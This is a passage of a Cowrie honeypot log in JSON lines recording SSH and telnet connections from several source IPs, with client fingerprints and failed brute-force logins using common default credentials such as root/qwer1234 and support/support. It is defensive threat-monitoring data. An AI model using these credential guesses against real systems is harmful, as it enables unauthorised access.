{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:09.871816Z","src_ip":"80.94.92.184","session":"64d7302941b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:10.514909Z","src_ip":"176.65.132.129","session":"8a2be736a27e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:11.141230Z","src_ip":"80.94.92.184","session":"64d7302941b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56060,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f667544464b","protocol":"ssh","message":"New connection: 176.65.132.129:56060 (159.203.135.109:22) [session: 9f667544464b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:12.308483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:12.314606Z","src_ip":"176.65.132.129","session":"9f667544464b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:12.400010Z","src_ip":"176.65.132.129","session":"9f667544464b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:12.645467Z","src_ip":"176.65.132.129","session":"9f667544464b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:13.824286Z","src_ip":"176.65.132.129","session":"9f667544464b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56104,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc0e7a51f674","protocol":"ssh","message":"New connection: 176.65.132.129:56104 (159.203.135.109:22) [session: dc0e7a51f674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:15.450014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:15.455624Z","src_ip":"176.65.132.129","session":"dc0e7a51f674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:15.540057Z","src_ip":"176.65.132.129","session":"dc0e7a51f674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:15.794407Z","src_ip":"176.65.132.129","session":"dc0e7a51f674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54292,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c6116216f0a","protocol":"telnet","message":"New connection: 152.42.224.71:54292 (10.17.0.5:23) [session: 6c6116216f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:16.055306Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:16.882625Z","src_ip":"176.65.132.129","session":"dc0e7a51f674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":38656,"dst_ip":"159.203.135.109","dst_port":22,"session":"55b8e40c2108","protocol":"ssh","message":"New connection: 122.166.167.154:38656 (159.203.135.109:22) [session: 55b8e40c2108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:16.952633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:16.961859Z","src_ip":"122.166.167.154","session":"55b8e40c2108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"b260ef4874aa","protocol":"telnet","message":"New connection: 152.42.224.71:54294 (10.17.0.5:23) [session: b260ef4874aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:17.039914Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:17.223808Z","src_ip":"122.166.167.154","session":"55b8e40c2108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig2018","message":"login attempt [root/k0nig2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:18.296130Z","src_ip":"122.166.167.154","session":"55b8e40c2108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48338,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ec4eed8f17c","protocol":"ssh","message":"New connection: 176.65.132.129:48338 (159.203.135.109:22) [session: 4ec4eed8f17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:18.704742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:18.709790Z","src_ip":"176.65.132.129","session":"4ec4eed8f17c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:18.793127Z","src_ip":"176.65.132.129","session":"4ec4eed8f17c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:19.144071Z","src_ip":"176.65.132.129","session":"4ec4eed8f17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:19.559784Z","src_ip":"122.166.167.154","session":"55b8e40c2108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:20.228492Z","src_ip":"176.65.132.129","session":"4ec4eed8f17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.62107038497925,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:20.655430Z","src_ip":"152.42.224.71","session":"504371e0434d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48342,"dst_ip":"159.203.135.109","dst_port":22,"session":"314cd1c0a2f5","protocol":"ssh","message":"New connection: 176.65.132.129:48342 (159.203.135.109:22) [session: 314cd1c0a2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:22.052383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:22.056006Z","src_ip":"176.65.132.129","session":"314cd1c0a2f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:22.137929Z","src_ip":"176.65.132.129","session":"314cd1c0a2f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:22.385581Z","src_ip":"176.65.132.129","session":"314cd1c0a2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.16528511047363,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:23.446075Z","src_ip":"152.42.224.71","session":"b4b7326226dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:23.470549Z","src_ip":"176.65.132.129","session":"314cd1c0a2f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48358,"dst_ip":"159.203.135.109","dst_port":22,"session":"a693c7c7d674","protocol":"ssh","message":"New connection: 176.65.132.129:48358 (159.203.135.109:22) [session: a693c7c7d674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:25.310578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:25.315811Z","src_ip":"176.65.132.129","session":"a693c7c7d674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:25.398455Z","src_ip":"176.65.132.129","session":"a693c7c7d674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:25.646309Z","src_ip":"176.65.132.129","session":"a693c7c7d674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56091,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b38a124e6fe","protocol":"ssh","message":"New connection: 152.42.212.128:56091 (10.17.0.5:22) [session: 2b38a124e6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:25.919095Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:25.927195Z","src_ip":"152.42.212.128","session":"2b38a124e6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:25.931425Z","src_ip":"152.42.212.128","session":"2b38a124e6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:26.793993Z","src_ip":"176.65.132.129","session":"a693c7c7d674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":59824,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4485c3ede5e","protocol":"ssh","message":"New connection: 103.172.78.219:59824 (10.17.0.5:22) [session: a4485c3ede5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:28.054577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:28.059334Z","src_ip":"103.172.78.219","session":"a4485c3ede5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:28.312340Z","src_ip":"103.172.78.219","session":"a4485c3ede5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38290,"dst_ip":"159.203.135.109","dst_port":22,"session":"a571f59be1f5","protocol":"ssh","message":"New connection: 176.65.132.129:38290 (159.203.135.109:22) [session: a571f59be1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:28.482567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:28.486788Z","src_ip":"176.65.132.129","session":"a571f59be1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac